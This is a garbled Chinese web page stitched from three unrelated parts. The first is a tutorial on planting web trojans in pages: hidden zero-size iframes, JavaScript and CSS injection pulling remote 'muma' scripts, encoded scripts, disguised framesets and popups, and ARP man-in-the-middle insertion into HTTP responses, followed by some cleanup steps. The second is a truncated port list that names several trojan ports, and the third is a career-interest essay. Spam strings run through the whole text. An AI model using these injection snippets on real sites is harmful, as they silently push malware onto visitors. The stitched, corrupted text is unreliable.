SRI编程
⑴ 在网页是让访问网页的人自动下载并且自动安装的代码
一:框架挂马浪漫之家社区门户.}8d{ocb
;Z}x?\` sT-e0 <iframe src=地址 width=0 height=0></iframe>浪漫之家社区门户*f2iNFvtV$V
]-iXpQG+v$\0二:js文件挂马浪漫之家社区门户2D(D_3QU1a YS
T,UEsy(~ Q!i"K0 首先将以下代码浪漫之家社区门户XvK&DSs_ n
document.write("<iframe width='0' height='0' src='地址'></iframe>");浪漫之家社区门户7v1rWpv4E`
保存为xxx.js,
0];Q.E?N A0 则JS挂马代码为
xt].y4QfX0 <script language=javascript src=xxx.js></script>
(~+}Cy:R9ss0浪漫之家社区门户(rJ(E^5Z b|+p
三:js变形加密浪漫之家社区门户w4{7v~ Cj
浪漫之家社区门户gAub7\5Us
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>浪漫之家社区门户'IQWSv
muma.txt可改成任意后缀浪漫之家社区门户 aJ5~7sX]
四:body挂马浪漫之家社区门户LV3X"HVc?#[
7y0k9P;Z&hn0 <body ></body>
0u yo.{\Za0浪漫之家社区门户;M2cA Xo,[\,m
五:隐蔽挂马
P2@vj2\m}.LBf0浪漫之家社区门户bF9^c A;i[6\;l k`
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.linglihu.com/"></iframe>';浪漫之家社区门户o1}"uC)u
浪漫之家社区门户'_g+N#` x'@$x
六:css中挂马浪漫之家社区门户^1c9|5T+E3A l `0R
.P:ZGz3qy`0 body {浪漫之家社区门户*]&N5b+S2d!k v!p%o
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}浪漫之家社区门户9@ T{-jBQk:c*k i
8@mpE3Y-E+[o0七:JAJA挂马
^O7hzN0
El*V z{4Wz3lGs,?,D0 <SCRIPT language=javascript>
LX@2t B5j4xRL.~0 window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 浪漫之家社区门户RoN {z]&J{A$}b[
</script>浪漫之家社区门户L0} N.Ii2x`P*GT+@
浪漫之家社区门户 A0h2l%|ekT
八:图片伪装
1x(lu.\1NE'p:sY0浪漫之家社区门户TfZ4L:VR_ U
<html>浪漫之家社区门户b8X%K"AZ?;WAZ$y
<iframe src="网马地址" height=0 width=0></iframe>
g^M2c8Iqj/S0g0 <img src="图片地址"></center>浪漫之家社区门户#D5H!L Au cgU
</html>浪漫之家社区门户I8@J(j$hfI b
4p'kxc!jyhLtL0九:伪装调用:浪漫之家社区门户3n [?5j8HlA|
浪漫之家社区门户Pno.ND
<frameset rows="444,0" cols="*">浪漫之家社区门户2|6jm6W+C*h
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
Jg({%E!v,~1v VN0 <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
E!|n#AQ'H/J F0 </frameset>浪漫之家社区门户*r;B?D"wLE-zI n
浪漫之家社区门户4O&Cpi/W6gNM%rU
十:高级欺骗
`8A${,qi0
j w3dMu'}9Z0 <a href="http://www.linglihu.com(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a>
_`!xA,B3e zt6T;C0<SCRIPT Language="JavaScript">浪漫之家社区门户L%w~StQ-@5]S
function www_163_com ()浪漫之家社区门户O U7\%d Z7x
{浪漫之家社区门户%l4y"C)R&j-Re1g
var url="网马地址";
[};t0A&G0open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,history=yes,width=800,height=600,left=10,top=10");浪漫之家社区门户 Wh!j+Hm;`c
}浪漫之家社区门户)r5g#Sj7SB4^_
</SCRIPT>
:y&N~-a!^$?dd6E0浪漫之家社区门户u~E6KQD
十一: 超级网马—通过arp欺骗来直接挂马
:mhZ2F3r3r-z$s2O0
"YO8C^i$rl/].o0原理:arp中间人攻击,实际上相当于做了一次代理。浪漫之家社区门户]%DpqmFV?C8E7_F
浪漫之家社区门户:|3_j$@&aw.]?t
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
7LI KTs0arp中间人攻击时候: A---->C---->B
gh|$[b N0B---->C---->A
iIqcO8v0实际上,C在这里做了一次代理的作用浪漫之家社区门户9lxbjEE9_3Xr r L
浪漫之家社区门户R.{*kT9Ui
那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如<iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了。
8cd1bA j+v}0
p6j4xgv0如何处理网页木马:
.r:ej y}izC#i01、找到嵌入的网页木马文件。以下,拿自己的经历说事。找到的文件是wm.htm
#c [:[}.caA ?4s)ax0浪漫之家社区门户C%qQ7Xd M-i8T,\ q
2、在注册表中查找wm.htm。很幸运,找到了。开始顺藤摸瓜...浪漫之家社区门户)qJXkHY)I
浪漫之家社区门户*@ L uIi
3、修改键值wm.htm为wm_nnd.htm。
/bX0e5I-`0浪漫之家社区门户R+jyC)wk8Kl,y
4、再次查找wm.htm。很不幸,又查到了。说明有服务程序在作怪。嘿嘿,有意外发现。浪漫之家社区门户bQ[7~,\2P
cain.exe,据说是密码嗅探器。浪漫之家社区门户gG.px xa_C
8m9e"z5^!q)[8By8iY;BA05、修改键值cain.exe为cain_nnd.exe。
`m+b3@ @-H0浪漫之家社区门户ax;U+p1n(J
6、查找cain.exe,仍然可以查到。嘻嘻,在预料之中。
M*UQ:\7Rc`B0浪漫之家社区门户U(F0Nu9W
7、怀疑wm.htm与cain.exe同流合污,背后有服务程序作后台。浪漫之家社区门户}zj4x V2G
浪漫之家社区门户V;q0l:@Sri
8、快查查看,系统服务程序。在运行->msconfig 或直接在命令行使用net start,查看可疑程序
vI4f J)L o)D0
'i G*E W*^a09、发现temp*.exe(全名记不清了),立马net stop server 。浪漫之家社区门户;F{%\B7r a9eY
'W2IH9bP2MI:Oxkk010、快去修改键值wm.htm为wm_nnd.htm,cain.exe为cain_nnd.exe。
0jW r7O C0
(j}y,w6G+Z011、再次查找wm.htm或cain.exe,没有找到。哈哈,很好。
Q(|%h,}t0
5VO\mW@;y.N;n012、观察了几天,没再发生挂马的现象。 另外,通过检测网络连接查看服务器是否中了木马或病毒浪漫之家社区门户3\O] @n{r
浪漫之家社区门户I$@K9QN&S${/U
1、使用netstat -an 查看所有和本地计算机建立连接的IP。
.gB1n dL(|H}0
(B.Qv1v%?2k+G X02、连接包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。 通过这个命令的详细信息,可以完全监控计算机上的连接,从而达到控制计算机的目的。
7J;rK5WE0浪漫之家社区门户"i \$J\ KI
3、手工制作bat程序,生成网络连接日志文件供站长分析:bat文件代码如下
1BKY-~#Bx8u@J#G0浪漫之家社区门户2@wQY5M
REM 注释:监控的时间
;|)RUz!A;X@0time /t>>Netstat.log浪漫之家社区门户L:vR9ZSum
REM 每隔30秒,把服务器上通过tcp协议通讯的IP和端口写入日志文件浪漫之家社区门户8| F {.f,p*H5f a]
Netstat -n -p tcp 30>>Netstat.log浪漫之家社区门户9LUgLM(X[%v
dA_"C_`!J+{0注意:要谨慎使用,这会给服务器带来性能影响。最好,在服务器发生异常,怀疑中木马或病毒时,用来分析网络连接日志。浪漫之家社区门户y Bs}mZ\
浪漫之家社区门户e&f$J!@#k
仅仅这些还不够,说说更严重的:浪漫之家社区门户 nw!C~/@.k {bc_
6UM T%`3HQs8`m r01、可恶的攻击者喜欢使用克隆账号的方法来控制你的计算机。“它们”激活一个系统中的默认账户,但这个账户是不经常用的, 然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。浪漫之家社区门户i{${1}v1hd+r$E"ix
浪漫之家社区门户 j8o0~|`:~^"B&G
2、赶快检测系统帐户:
X!u'w Q7^*cJ(o&OH0a、在命令行下输入net user,查看计算机上有些什么用户。浪漫之家社区门户] t G.^ @T
b、使用“net user 用户名”查看这个用户属于什么权限的及登录时间等。
9b)~~&x0?"l,Gru0c、一般除了Administrator是administrators组的,如果你发现一个系统内置的用户是属于administrators组的,
E T/u/d%i#B1{u0 那么别人在你的计算机上克隆账户的概率为90%。浪漫之家社区门户*w}+g9B0\
d、是使用“net user 用户名 /del” 来删掉这个用户,还是修改其它配置,这你说了算。
⑵ “端口” 中的数字都代表什么意思
电脑用来跟外界交换数据 再详细的话看这里
http://www.ytcy.ik8.com/game/dk.txt
端口 说明
1 传输控制协议端口服务多路开关选择器
2 compressnet 管理实用程序
3 压缩进程
5 远程作业登录
7 回显(Echo)
9 丢弃
11 在线用户
12 我的测试端口
13 时间
15 netstat
17 每日引用
18 消息发送协议
19 字符发生器
20 文件传输协议(默认数据口)
21 文件传输协议(控制)
22 SSH远程登录协议
23 telnet 终端仿真协议
24 预留给个人用邮件系统
25 smtp 简单邮件发送协议
27 NSW 用户系统现场工程师
29 MSG ICP
31 MSG验证
33 显示支持协议
35 预留给个人打印机服务
37 时间
38 路由访问协议
39 资源定位协议
41 图形
42 WINS 主机名服务
43 "绰号" who is服务
44 MPM(消息处理模块)标志协议
45 消息处理模块
46 消息处理模块(默认发送口)
47 NI ftp
48 数码音频后台服务
49 TACACS登录主机协议
50 远程邮件检查协议
51 IMP(接口信息处理机)逻辑地址维
52 施乐网络服务系统时间协议
53 域名服务器
54 施乐网络服务系统票据交换
55 ISI图形语言
56 施乐网络服务系统验证
57 预留个人用终端访问
58 施乐网络服务系统邮件
59 预留个人文件服务
60 未定义
61 NI邮件?
62 异步通讯适配器服务
63 WHOIS+
64 通讯接口
65 TACACS数据库服务
66 Oracle sql*NET
67 引导程序协议服务端
68 引导程序协议客户端
69 小型文件传输协议
70 信息检索协议
71 远程作业服务
72 远程作业服务
73 远程作业服务
74 远程作业服务
75 预留给个人拨出服务
76 分布式外部对象存储
77 预留给个人远程作业输入服务
78 修正TCP
79 Finger(查询远程主机在线用户等信息)
80 全球信息网超文本传输协议(www)
81 HOST2名称服务
82 传输实用程序
83 模块化智能终端ML设备
84 公用追踪设备
85 模块化智能终端ML设备
86 Micro Focus Cobol编程语言
87 预留给个人终端连接
88 Kerberros安全认证系统
89 SU/MIT终端仿真网关
90 DNSIX 安全属性标记图
91 MIT Dover假脱机
92 网络打印协议
93 设备控制协议
94 Tivoli对象调度
95 SUPDUP
96 DIXIE协议规范
97 快速远程虚拟文件协议
98 TAC(东京大学自动计算机)新闻协议
99 Telnet服务,开99端口 (Troj.open99)
101 usually from sri-nic
102 iso-tsap
103 gppitnp
104 acr-nema
105 csnet-ns
106 3com-tsmux
107 rtelnet
108 snagas
109 Post Office
110 Pop3 服务器(邮箱发送服务器)
111 sunrpc
112 mcidas
113 身份查询
114 audionews
115 sftp
116 ansanotify
117 path 或 uucp-path
118 sqlserv
119 新闻服务器
120 cfdptkt
121 BO jammerkillah
123 network
124 ansatrader
125 locus-map
126 unitary
127 locus-con
128 gss-xlicen
129 pwdgen
130 cisco-fna
131 cisco-tna
132 cisco-sys
133 statsrv
134 ingres-net
135 查询服务 DNS
136 profile PROFILE Naming System
137 NetBIOS 数据报(UDP)
138 NetBios-DGN
139 共享资源端口(NetBios-SSN)
140 emfis-data
141 emfis-cntl
142 bl-idm
143 IMAP电子邮件
144 NeWS
145 uaac
146 iso-tp0
147 iso-ip
148 jargon
149 aed-512
150 sql-net
151 hems
152 bftp
153 sgmp
154 netsc-prod
155 netsc-dev
156 sqlsrv
157 knet-cmp
158 PCMAIL
159 nss-routing
160 sgmp-traps
161 远程管理设备(SNMP)
162 snmp-trap
163 cmip-man
164 cmip-agent
165 xns-courier Xerox
166 s-net
167 namp
168 rsvd
169 send
170 network Po
171 multiplex Network
172 cl/1 Network
173 xyplex-mux
174 mailq
175 vmnet
176 genrad-mux
177 xdmcp
178 nextstep
179 bgp
180 ris
181 unify
182 audit
183 ocbinder
184 ocserver
185 remote-kis
186 kis
187 aci
188 mumps
189 qft
190 gacp
191 prospero
192 osu-nms
193 srmp
194 Irc
195 dn6-nlm-aud
196 dn6-smm-red
197 dls
198 dls-mon
199 smux
200 src IBM
201 at-rtmp
202 at-nbp
203 at-3
204 at-echo
205 at-5
206 at-zis
207 at-7
208 at-8
209 qmtp
210 z39.50 ANSI
211 914c/g
212 anet
214 vmpwscs
215 softpc Insignia Solutions
216 CAIlic
217 dbase
218 mpp
219 uarps
220 imap3
221 fln-spx
222 rsh-spx
223 cdc
242 direct
243 sur-meas
244 dayna
245 link
246 dsp3270
247 subntbcst_tftp
248 bhfhs
256 rap
257 set
258 yak-chat
259 esro-gen
260 openport
263 hdap
264 bgmp
280 http-mgmt
309 entrusttime
310 bhmds
312 vslmp
315 load
316 decauth
317 zannet
321 pip
344 pdap
345 pawserv
346 zserv
347 fatserv
348 csi-sgwp
349 mftp
351 matip-type-b
351 matip-type-b
353 ndsauth
354 bh611
357 bhevent
362 srssend
365 dtk
366 odmr
368 qbikgdp
371 clearcase
372 ulistproc ListProcessor
373 legent-1
374 legent-2
374 legent-2
375 hassle
376 nip
377 tnETOS
378 dsETOS
379 is99c
380 is99s
381 hp-collector
383 hp-alarm-mgr
384 arns
385 ibm-app
386 asa
387 aurp
388 unidata-ldm
389 ldap
390 uis
391 synotics-relay
393 dis
394 embl-ndt
395 netcp
396 netware-ip
397 mptn
398 kryptolan
399 iso-tsap-c2
400 vmnet0
401 ups Uninterruptible Power Supply
402 genie Genie Protocol
403 decap
404 nced
405 ncld
406 imsp
407 timbuktu
408 prm-sm
409 prm-nm
410 decladebug DECLadebug Remote Debug Protocol
411 rmt
412 synoptics-trap
413 smsp SMSP
414 infoseek
415 bnet
416 silverplatter
417 onmux
418 hyper-g
419 ariel1
420 smpte
421 ariel2
422 ariel3
423 opc-job-start
424 opc-job-track
425 icad-el
426 smartsdp
427 svrloc
428 ocs_cmu
429 ocs_amu
430 utmpsd
431 utmpcd
432 iasd
433 nnsp
434 mobileip-agent
435 mobilip-mn
436 dna-cml
437 comscm
438 dsfgw
439 dasp
440 sgcp
441 decvms-sysmgt
442 cvc_hostd
443 安全服务
444 snpp
445 NT的共享资源新端口(139)
446 ddm-rdb
447 ddm-dfm
448 ddm-ssl
449 as-servermap
450 tserver
451 sfs-smp-net
453 creativeserver
454 contentserver
455 creativepartnr
456 Hackers
457 scohelp
458 appleqtc
459 ampr-rcmd
460 skronk
461 datasurfsrv
462 datasurfsrvsec
463 alpes
464 kpasswd
465 smtps
466 digital-vrc
467 mylex-mapd
468 photuris
469 rcp
470 scx-proxy
471 mondex
472 ljk-login
473 hybrid-pop
474 tn-tl-w1
475 tcpnethaspsrv
476 tn-tl-fd1
477 ss7ns
478 spsc
479 iafserver
480 iafdbase
481 ph Ph
482 bgs-nsi
483 ulpnet
484 integra-sme
485 powerburst Air Soft Power Burst
486 avian
487 saft
488 gss-http
489 nest-protocol
490 micom-pfs
491 go-login
492 ticf-1
493 ticf-2
494 pov-ray
495 intecourier
496 pim-rp-disc
497 dantz
498 siam
499 iso-ill
500 sytek
501 stmf
502 asa-appl-proto
503 intrinsa
504 citadel
505 mailbox-lm
506 ohimsrv
507 crs
508 xvttp
509 snare
510 fcp
511 passgo
512 exec
513 login
514 shell
515 printer
516 videotex
517 talk
518 ntalk
519 utime
520 efs
521 ripng
522 ulp
523 ibm-db2
524 ncp NCP
525 timed
526 tempo newdate
527 stx
528 custix
529 irc-serv
530 courier
531 conference chat
532 netnews
533 netwall
534 mm-admin
535 iiop
536 opalis-rdv
537 nmsp
538 gdomap
539 apertus-ldp
540 uucp
541 uucp-rlogin
542 commerce
543 klogin
544 kshell
545 appleqtcsrvr
546 dhcpv6-client
547 dhcpv6-server
548 afpovertcp
549 idfp
550 new-rwho
551 cybercash
552 deviceshare
553 pirp
554 rtsp
555 dsf
556 remotefs
557 openvms-sysipc
558 sdnskmp
559 teedtap
560 rmonitor
561 monitor
562 chshell chcmd
563 nntps
564 9pfs
565 whoami
566 streettalk
567 banyan-rpc
568 ms-shuttle
569 ms-rome
570 meter
571 meter
572 sonar
573 banyan-vip
574 ftp-agent
575 vemmi
576 ipcd
577 vnas
578 ipdd
579 decbsrv
581 bdp
588 cal
589 eyelink
590 tns-cml
593 http-rpc-epmap
594 tpip
596 smsd
599 acp Aeolon Core Protocol
600 ipcserver Sun IPC server
606 urm Cray
607 nqs
608 sift-uft
609 npmp-trap
610 npmp-local
611 npmp-gui
613 hmmp-op
620 sco-websrvrmgr
621 escp-ip
625 dec_dlm
626 asia
628 qmqp
630 rda
631 ipp
632 bmpp
634 ginad
635 rlzdbase
636 ldaps
637 lanserver
639 msdp
666 doom
667 disclose
668 mecomm
669 meregister
670 vacdsm-sws
671 vacdsm-app
672 vpps-qua
673 cimplex
674 acap
675 dctp
704 elcsd
705 agentx
709 entrust-kmsh
710 entrust-ash
729 netviewdm1
730 netviewdm2
731 netviewdm3
741 netgw
742 netrcs
744 flexlm
747 fujitsu-dev
748 ris-cm
749 kerberos-adm
750 rfile
751 pump
752 qrh
753 rrh
754 tell send
758 nlogin
759 con
760 ns
761 rxe
762 quotad
763 cycleserv
764 omserv
765 webster
769 vid
770 cadlock
771 rtip
772 cycleserv2
773 submit
774 rpasswd
776 wpages
780 wpgs
786 concert Concert
787 qsc QSC
801 device
873 rsync rsync
886 iclcnet-locate
887 iclcnet_svinfo
888 erlogin
900 omginitialrefs
911 xact-backup
990 ftps
991 nas
992 telnets
993 imaps
994 ircs
995 pop3s
996 vsinet
997 maitrd
998 busboy
999 garcon
1000 cadlock
1010 surf
1023 Reserved
1024 NetSpy.698 (YAI)
1025 network blackjack
1026 Win2000 的 Internet 信息服务
1031 iad2
1032 iad3
1033 Netspy
1042 Bla1.1
1047 GateCrasher
1080 Wingate
1058 nim
1059 nimreg
1067 instl_boots
1068 instl_bootc
1080 Wingate
1083 ansoft-lm-1
1084 ansoft-lm-2
1109 kpop
1114 SQL
1123 murray Murray
1155 nfa Network File Access
1212 lupa lupa
1222 nerv SNI R&D network
1239 nmsd NMSD
1243 Sub-7木马
1245 Vodoo
1248 hermes
1269 Mavericks Matrix
1492 FTP99CMP (BackOriffice.FTP)
1509 Streaming Server
1524 ingreslock后门
1313 bmc_patroldb
1314 pdps
1321 pip PIP
1345 vpjp VPJP
1346 alta-ana-lm
1347 bbn-mmc
1348 bbn-mmx
1349 sbook Registration Network Protocol
1350 editbench
1352 lotusnote
1353 relief
1354 rightbrain
1355 intuitive-edge
1356 cuillamartin
1357 pegboard
1358 connlcli
1359 ftsrv
1360 mimer
1361 linx
1362 timeflies
1363 ndm-requester
1364 ndm-server
1365 adapt-sna
1366 netware-csp
1367 dcs
1368 screencast
1369 gv-us
1370 us-gv
1371 fc-cli
1372 fc-ser
1373 chromagrafx
1374 molly EPI Software Systems
1375 bytex
1376 ibm-pps
1377 cichlid
1378 elan
1379 dbreporter Integrity Solutions
1380 telesis-licman
1381 apple-licman
1382 udt_os
1383 gwha
1384 os-licman
1385 atex_elmd
1386 checksum
1387 cadsi-lm
1388 objective-dbc
1389 iclpv-dm
1390 iclpv-sc
1391 iclpv-sas
1392 iclpv-pm
1393 iclpv-nls
1394 iclpv-nlc
1395 iclpv-wsm
1396 dvl-activemail
1399 cadkey-licman
1400 cadkey-tablet
1402 prm-sm-np
1403 prm-nm-np
1404 igi-lm
1405 ibm-res
1406 netlabs-lm
1407 dbsa-lm
1408 sophia-lm
1409 here-lm
1410 hiq
1411 af AudioFile
1412 innosys
1413 innosys-acl
1414 ibm-mqseries
1415 dbstar
1416 novell-lu6.2
1417 timbuktu-srv1
1418 timbuktu-srv2
1419 timbuktu-srv3
1420 timbuktu-srv4
1421 gandalf-lm
1422 autodesk-lm
1423 essbase
1424 hybrid
1425 zion-lm
1426 sais
1427 mloadd
1428 inFORMatik-lm
1429 nms Hypercom NMS
1430 tp Hypercom TPDU
1431 rgtp
1432 blueberry-lm
1433 ms-sql-s
1434 ms-sql-m
1435 ibm-cics
1436 saism
1437 tabula
1438 eicon-server
1439 eicon-x25
1440 eicon-slp
1441 cadis-1
1442 cadis-2
1443 ies-lm
1444 marcam-lm
1445 proxima-lm
1446 ora-lm
1447 apri-lm
1448 oc-lm
1449 peport
1450 dwf
1451 infoman
1452 gtegsc-lm
1453 genie-lm
1454 interhdl_elmd
1455 esl-lm
1456 dca
1457 valisys-lm
1458 nrcabq-lm
1459 proshare1
1460 proshare2
1461 ibm_wrless_lan
1462 world-lm
1463 nucleus
1464 msl_lmd
1465 pipes
1466 oceansoft-lm
1467 csdmbase
1468 csdm
1469 aal-lm
1470 uaiact
1471 csdmbase
1472 csdm
1473 openmath
1474 telefinder
1475 taligent-lm
1476 clvm-cfg
1477 ms-sna-server
1478 ms-sna-base
1479 dberegister
1480 pacerforum
1481 airs
1482 miteksys-lm
1483 afs
1484 confluent
1485 lansource
1486 nms_topo_serv
1487 localinfosrvr
1488 docstor
1489 dmdocbroker
1490 insitu-conf
1491 anynetgateway
1492 FTP99CMP (BackOriffice.FTP)
1493 netmap_lm
1494 ica
1495 cvc
1496 liberty-lm
1497 rfx-lm
1498 sybase-sqlany
1499 fhc
1500 vlsi-lm
1501 saiscm
1502 shivadiscovery
1503 imtc-mcs
1504 evb-elm
1505 funkproxy
1506 utcd
1507 symplex
1508 diagmond
1509 Streaming Server
1510 mvx-lm
1511 3l-l1
1512 wins
1513 fujitsu-dtc
1514 fujitsu-dtcns
1515 ifor-protocol
1516 vpad
1517 vpac
1518 vpvd
1519 vpvc
1520 atm-zip-office
1521 ncube-lm
1522 ricardo-lm
1523 cichild-lm
1525 orasrv
1525 orasrv
1526 pdap-np
1527 tlisrv
1528 mciautoreg
1529 coauthor
1530 rap-service
1531 rap-listen
1532 miroconnect
1533 virtual-places
1534 micromuse-lm
1535 ampr-info
1536 ampr-inter
1537 sdsc-lm
1538 3ds-lm
1539 intellistor-lm
1540 rds
1541 rds2
1542 gridgen-elmd
1543 simba-cs
1544 aspeclmd
1545 vistium-share
1546 abbaccuray
1547 laplink
1548 axon-lm
1549 shivahose
1550 3m-image-lm
1551 hecmtl-db
1552 pciarray
1553 sna-cs
1554 caci-lm
1555 livelan
1556 ashwin
1557 arbortext-lm
1558 xingmpeg
1559 web2host
1560 asci-val
1561 facilityview
1562 pconnectmgr
1563 cadabra-lm
1564 pay-per-view
1565 winddlb
1566 corelvideo
1567 jlicelmd
1568 tsspmap
1569 ets
1570 orbixd
1571 rdb-dbs-disp
1572 Chipcom License Manager
1573 itscomm-ns
1574 mvel-lm
1575 oraclenames
1576 moldflow-lm
1577 hypercube-lm
1578 Jacobus License Manager
1579 ioc-sea-lm
1580 tn-tl-r1 tn-tl-r1
1581 mil-2045-47001
1582 msims
1583 simbaexpress
1584 tn-tl-fd2
1585 intv
1586 ibm-abtact
1587 pra_elmd
1588 triquest-lm
1589 vqp
1590 gemini-lm
1591 ncpm-pm
1592 commonspace
1593 mainsoft-lm
1594 sixtrak
1595 radio
1596 radio-sm
1597 orbplus-iiop
1598 picknfs
1599 simbaservices
1600 Shiv
1601 aas
1602 inspect
1603 picodbc
1604 icabrowser icabrowser
1605 slp Salutation Manager
1606 Salutation Manager
1607 stt
1608 Smart Corp. License Manager
1609 isysg-lm
1610 taurus-wh
1611 ill Inter Library Loan
1612 NetBill Transaction Server
1613 NetBill Key Repository
1614 NetBill Credential Server
1615 NetBill Authorization Server
1616 NetBill Proct Server
1617 Nimrod Inter-Agent Communication
1618 skytelnet
1619 xs-openstorage
1620 faxportwinport
1621 softdataphone
1622 ontime
1623 jaleosnd
1624 udp-sr-port
1625 svs-omagent
1636 cncp
1637 cnap
1638 cnip
1639 cert
1640 cert-responder
1641 invision
1642 isis-am
1643 isis-ambc
1645 datametrics
1646 sa-msg-port
1647 rsap rsap
1648 concurrent-lm
1649 inspect
1650 nkd
1651 shiva_confsrvr
1652 xnmp
alphatech-lm
1654 stargatealerts
1655 dec-mbadmin
1656 dec-mbadmin-h
1657 fujitsu-mmpdc
1658 sixnetudr
1659 sg-lm
1660 skip-mc-gikreq
1661 netview-aix-1
1662 netview-aix-2
1663 netview-aix-3
1664 netview-aix-4
1665 netview-aix-5
1666 netview-aix-6
1667 netview-aix-7
1668 netview-aix-8
1669 netview-aix-9
1670 netview-aix-10
1671 netview-aix-11
1672 netview-aix-12
1673 Intel Proshare Multicast
1674 Intel Proshare Multicast
1675 pdp Pacific Data Procts
1676 netcomm1
1677 groupwise
1678 prolink
1679 darcorp-lm
1681 sd-elmd
1682 lanyon-lantern
1683 ncpm-hip
1684 snaresecure
1685 n2nremote
1686 cvmon cvmon
1687 nsjtp-ctrl
1688 nsjtp-data
1689 firefox
1690 ng-umds
1691 empire-empuma
1692 sstsys-lm
1693 rrirtr
1694 rrimwm
1695 rrilwm
1696 rrifmm
1697 rrisat
1698 rsvp-encap-1
1699 rsvp-encap-2
1700 mps-raft
1701 l2f,l2tp
1702 deskshare
1703 hb-engine
1704 bcs-broker
1705 slingshot
1706 jetFORM
1707 vdmplay
1708 gat-lmd
1709 centra
1710 impera
1711 pptconference
1712 registrar resource monitoring service
1713 conferencetalk
1
⑶ 霍兰德职业兴趣(深度解析霍兰德职业兴趣)
一个人从毕业后踏入社会,能够从事自己感兴趣的工作将是一件非常幸福的事情。
工作就要做自己感兴趣的
爱因斯坦说过:“兴趣是最好的老师。”爱因斯坦在12岁的时候自学了欧几里德几何,对数学喜爱到狂热的地步,那个时候他还开始自学高等数学,16岁的时候自学完成了微积分,大学时期又对物理学充满了兴趣,22岁的时候在莱比锡《物理学杂志》上发表了论文《由毛细管现象得到的推论》。正是由于爱因斯坦对物理学的热爱,加上自己的天赋,最终在物理学领域提出了相对论。
诺贝尔物理学奖的获得者丁肇中同样对物理有着浓厚的兴趣。20岁时,他带着100美元,来到美国密歇根大学学习数学和物理,在3年多的时间里,他一直刻苦读书,有时几天几夜待在实验室里。有人问他:“你不觉得学习很苦吗?"丁肇中笑着回答说:“不,一点也不,没有任何人强迫我这样做。正相反,我觉得很快乐,因为我对它感兴趣,我急于要探索物理世界的奥秘。”
所以,我们可以想一想,当你做一件你感兴趣的事情时,你会忘记时间,忘记吃饭、睡觉,你会乐在其中,而不知疲倦。
兴趣是工作的不竭动力
德国伟大作家歌德说过:“ 如果工作是一种乐趣,人生就是天堂。”
兴趣能够让我们每个人发挥自身最大的潜能,能够推动我们的职业更快成功
达尔文和《物种起源》
1809年2月12日,达尔文出生在英国一个叫做希留布里的小镇。他的父亲是当地着名的医生,母亲则喜欢栽培花卉和果树,她常常教给孩子们识别花草果树的知识。这使年幼的达尔文从小就和植物结下了不解之缘。
达尔文在8岁时进入了镇上的小学,枯燥无味的课程使他厌烦。于是,他把精力和感情都倾注到课外的活动中,常常去野外捕捉昆虫、寻找矿石、采集动植物的标本。16岁时,达尔文和哥哥一起被父亲送到爱丁堡大学去学医。每当课余和假日,他就同渔民一道出海,撒网捕鱼,制作标本,带回来分析研究。父亲见他并没有改变自己的兴趣和爱好,十分恼火,便把他送进了剑桥大学神学院。神学院的课程内容是拍陵袭达尔文从小就听厌了的陈词滥调,他对此毫无兴趣。但剑桥大学的学术环境和资源给了他成长的空间,他读了很多自然科学的书籍,还拜亨斯洛教授为师。亨斯洛教授精通植物学、昆虫学、化学、矿物学和地质学,正是由于他的引导,达尔文才真正走上科学研究的道路。
1831年,达尔文从剑桥大学毕业,获得了牧师的职位,然而此时他的全部感情和志向却集中在生物学和矿物学上。那时正值英国政府向全球扩张,不断派船探险,这年12月,英国政府组织了“贝格尔号”军舰的环球考察,经亨斯洛教授的推荐,达尔文以“博物学家”的身份,自费搭船,踏上贝格尔舰,开始了为期五年五年的艰辛而生死难测的环球考察旅行。在这次环球科学考察中,达尔文积累了大量的资料。回国之后又经过长达二十余年的研究。1859年11月达尔文的科学巨着《物袭兄种起源》终于出版了。这部着作的问世,第一次把生物学建立在完全科学的基础上,标志着生物进化论的正式确立。
1882年4月19日,这位伟大的科学家因病逝世,人们把他的遗体安葬在牛顿的墓旁,以表达对这位科学家的敬仰。
回顾达尔文的一生,不难发现,正是对动植物的兴趣促使达尔文走上了生物学家而不是医生的道路。
既然,兴趣对一个人的职业发展如此重要,哪怎么样才能发现一个人的兴趣呢?
如何发现自己的兴趣?
很多人认为这非常简单,谁还不知道自己对什么感兴趣呢?比如,喜欢看书,喜欢游戏,喜欢动漫,喜欢数学,喜欢表演,这些不汪改都是自己的兴趣嘛。
但这些是每个人感觉中的兴趣,不一定是自己最真实的兴趣,也不一定是全面的兴趣,更可能不是真实的兴趣。
格林斯潘的故事
很多人都知道格林斯潘的故事,他连续五次出任美联储主席,是当代对美国和世界经济最具影响力的经济学家之一。但是有谁知道,格林斯潘其实毕业于一所音乐学院,学校的专业是单簧管,从音乐学院辍学后,当了一名爵士乐手。后来经过深入思考后,他放弃了热爱13年的音乐,转向了经济学,后来人们就看到了一位表情严肃、不拘言笑、举止小心谨慎的经济学家,而很难想象,这位经济学家曾经是一位穿着鲜艳亮丽的黄色夹克衫,以吹奏着单簧管卫生,浪迹美国各个城镇和乡村爵士乐俱乐部的音乐家。格林斯潘在经济领域的卓越成绩,告诉我们只有找到自己真正的兴趣才是走上了正确的道路。
感觉的兴趣不一定是真实的兴趣
霍兰德职业兴趣,带你了解自己真实的兴趣
目前,一个人想了解到自己最真实、准确的兴趣,还是需要借助一定的工具的,霍兰德职业兴趣测评无疑是目前最好用的工具。
